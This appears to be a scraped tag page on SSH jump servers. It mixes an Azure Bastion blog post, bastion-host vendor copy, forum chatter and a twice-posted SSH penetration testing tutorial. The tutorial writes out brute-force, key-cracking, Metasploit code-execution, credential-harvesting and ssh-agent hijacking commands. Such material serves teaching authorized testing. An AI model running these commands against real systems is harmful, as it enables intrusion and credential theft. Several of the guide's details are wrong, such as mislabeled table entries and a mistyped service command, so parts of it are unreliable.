#ssh jump server

[nixcraft]

this is what happens when you don't know about ssh Proxy and Jump commands on your Linux/Unix systems ;) For more info see: SSH ProxyCommand example: Going through one host to reach another server

[offensivewireless]

SSH Penetration Testing: A Comprehensive Guide

Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article

[poplabsec]

SSH Penetration Testing: A Comprehensive Guide

Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article

[govindhtech]

Explore Azure Bastion Developer Features

Microsoft Azure is always changing to accommodate its expanding user base. They have released a new Azure Bastion SKU called Bastion Developer in response to developer comments and requirements. This service, which is now in public preview, will revolutionize the way developers connect to their Azure virtual machines in a safe, affordable, and hassle-free manner. Azure will go over what Azure Bastion Developer is, the issues this new SKU solves, and why developers should give it a try in this blog post.

Azure Bastion Developer: What is it?

A new low-cost, always-on, zero-configuration SKU of the Azure Bastion service is called Azure Bastion Developer. Its main goal is to enable users to connect securely to a single virtual machine at a time using Secure Shell (SSH) and Remote Desktop Protocol (RDP) by default on Azure Virtual Machines. This eliminates the need for extra network configurations or public IP addresses on Virtual Machines. With the help of this service, you may access your Azure Virtual Machines more easily and affordably. Gone are the complicated procedures, exorbitant fees, and security risks that come with using other ways.

Taking care of developer issues

Three typical problems that developers run with while attempting to connect to Azure Virtual Machines are the reasons behind the creation of Azure Bastion Developer:

1. Finding

Azure Bastion may not be actively sought for by developers when they construct isolated Virtual Machines, and it may not be immediately obvious when the Virtual Machine development process is underway. Although most Azure users might not know what a bastion host or jump-box server is, IT experts do. This can encourage the adoption of less safe public IP-based access techniques. This issue is resolved by Azure Bastion Developer, which offers safe and easy access right within the Virtual Machine blade. For locations where it is available, Bastion Developer will appear as the suggested connectivity option in the Virtual Machine connect experience in the upcoming months.

2. Practicality

Traditionally, setting up Azure Bastion involved deploying a new resource and a number of setup procedures, such as creating a dedicated subnet. For technically adept people, these tasks may be doable, but for others, they can be difficult and time-consuming. Azure Bastion Developer offers a zero-configuration, user-friendly solution that streamlines the process. It is optional for users to utilize during Virtual Machine connections, which simplifies secure access.

3. Price

Despite being a strong tool, Azure Bastion Basic could be too costly for developers who just spend a few hundred dollars a month on Azure, forcing them to connect with less secure public IP-based alternatives. This issue is addressed by Azure Bastion Developer, which offers a more cost-effective solution than public IP. Because of its affordable price, Azure Bastion Developer will become the platform’s default private connection choice, giving developers safe access without breaking the bank. More information on Bastion Developer’s price will be provided once it becomes publicly accessible. The public preview is free.

Connectivity Options with Portal-based access to the Azure Bastion Developer (public preview). In the Azure portal, Bastion Developer will provide support for SSH connections for Linux virtual machines and RDP connections for Windows virtual machines.

Roadmap for native client-based SSH access. In the upcoming months, Bastion Developer will provide support for SSH connections for Linux virtual machines using the Azure Command Line Interface (CLI).

A comparison of the features offered by Azure Bastion

A single connection per user will be possible with Bastion Developer, a lite version of the Bastion service that connects via Virtual Machines. For Dev/Test users who wish to securely connect to their virtual machines without requiring additional functionality or scaling, Bastion Developer is the perfect solution. The differences between the Bastion Developer, Bastion Basic, and Standard SKUs are shown in the feature matrix below.

How you should start

Microsoft Azure cordially request that you test-drive Azure Bastion Developer within your cloud setup.

1.Open the Azure portal by navigating.

2.Install a virtual machine running Linux or Windows in one of the areas listed below. Keep take mind that Bastion Developer is presently limited to the following regions:

Central United States EEAP

East United States 2 EUAP

West Central United States

North Central United States

West United States

North Europe

3.Go to the Virtual Machine blade’s Bastion tab and choose Deploy Bastion Developer. (The deployments of Basetion Basic and Standard will now fall under “Dedicated Deployment Options”).

4.To securely connect to your Virtual Machine in the browser after your Bastion Developer resource has been deployed, enter your password and login and click Connect.

Find out more about developers for Azure Bastion

A ground-breaking tool that makes it easier for developers to have safe access to virtual machines is Azure Bastion Developer. Microsoft Azure continues to show its dedication to customer pleasure and innovation by tackling the typical problems of discovery, usability, and affordability. You can have secure-by-default access to your Azure Virtual Machines with Azure Bastion Developer without having to deal with the hassles and expensive expenses of previous solutions. Give it a try now to see how your Azure development workflow may be more secure and convenient.

Read more on Govindhtech.com

[brightgreendandelions]

oh you mean where a whole neighborhood has 1 IP? Yeah that's an oof, geography issue

yep. sometimes it feels like there are 5 levels of NATs and like 100 people share your ip... (at least that way noone can hack your router) and the option to not do that also gives you a static ip, so i didn't need to mess with dynamic dns.

maybe 22 if you're feeling risky

why is ssh risky? if you disable password authentication, it will take RSA being broken or a zero day in fucking openssh for anything to happen, right? and i think either of those will kill almost half the internet 0_0

randomly down sometimes

also for me the upload speed sometimes plummets to like 8KB/s after i'm downloading a bunch of huge files from my server. it like jumps from 5MB/s to almost nothing every 5 minutes and then back again after like 10. i feel like i'm being rate limited...

"man it would be cool if you could just host a website from your computer at home, i wish the internet worked like that"

Umm it literally does tho? I've been doing it for years

[recordsshsessions]

We can guide you or install & configure Ezeelogin SSH Jump server software for you and give you a demo on how to use it at no extra charge.  Contact our 24/7 Support Desk  to schedule your free or guided installation. Also, schedule a free introductory session to get to know on how to use Ezeelogin Jump server solution effectively and ask your questions with our engineers.

[ezeelogin1]

[ezeelogin]

Setting Up an SSH Bastion Host

Introduction:

In recent times, there is an increasing need for organizations to give employees access to their IT facilities due to the ongoing Covid restrictions ( such as work from home )  in place and in other cases grant access to external parties like clients, vendors  who wants to troubleshoot and fix issues with the IT Infrastructure remotely. 

More so, is the need for multiple manage SSH access to the company’s Linux servers, Routers, Switches, while meeting regulatory and security compliance. This need led to the emergence of the SSH Bastion host concept. It is a secure intermediary server where all your system administrators would login in first via SSH before getting to access the remote devices such as Linux instance, Routers, Switches etc. The purpose of having the SSH bastion host  is to improve security and consolidate SSH user activities to a single point hence better security and accountability. SSH  Jump bastion host is also known by the name SSH Jump Box, SSH Jump Host & SSH Gateway. What is SSH Bastion Host?       

Click to read the full article here :  SSH Bastion Host

                    An SSH Bastion host is simply a single, hardened server that you “jump” through in order to access other servers or devices on the inner network. Sometimes called a SSH Jump host , or SSH Jump server or  ssh gateway or a relay host, it’s simply a server that all of your users can log into and use as a relay server to connect to other Linux servers, Routers, Switches and more. Therefore, a jump server is a server inside a secure zone, which can be accessed from a less secure zone. It is then possible to jump from this host to greater security zones. In other words, it is an intermediary host or an SSH gateway to a remote network, through which a connection can be made to another host in a dissimilar security zone, for example a demilitarized zone (DMZ2). In short it is intended to breach the gap between two security zones. This is done with the purpose of establishing a gateway to access something inside of the security zone, from the DMZ

[gslin]

OpenSSH 的三個進階用法：CA 架構、透過 Jump Server 連線、2FA

在「How to SSH Properly」這篇裡面講了三個 OpenSSH 的進階用法：CA 架構、透過 Jump Server 連線，以及 2FA 的設定。

之前蠻常看到使用 -o StrictHostKeyChecking=off 關閉檢查，但 OpenSSH 有支援 CA 架構，可以先產生出 Root CA，然後對 Host 的 Public Key 簽名，在連線的時候就可以確保連線沒有被調包 (通常是 MITM)，但得設計一套機制，自動化機器生出來後的步驟。

另外一個可能的方式是 SSHFP，搭配 DNSSEC 也可以確認連線沒有被調包，不過這又牽扯到 DNS 的部份…

第二個提到的是 Jump Server (Bastion host)，之前的作法是用 -A把 authentication agent 帶過去再連進去，這邊則是教你怎麼下指令直接連線，而不需要先連到 Jump…

[andmaybegayer]

Last Monday of the Week: 2021-03-01

First Monday of the Month. My boss just quit at work which means I'm now the only formally trained engineer left who has any particular specialization in embedded systems. This week is going to be a doozy.

I also wrote a Very Long set of media updates because I’ve been consuming some stuff that makes me think a lot. Never a good sign.

Listening: I spent all of Saturday playing Minecraft after talking with some friends about it during the week on IRC. Practicing what I preach with regards to my Large Biome Supermacy policy, which does involve a lot of walking. Hence, I started catching up on The Adventure Zone: Graduation again, I'm like ten episodes behind.

https://maximumfun.org/episodes/adventure-zone/the-adventure-zone-graduation-ep-32-by-a-haircut/

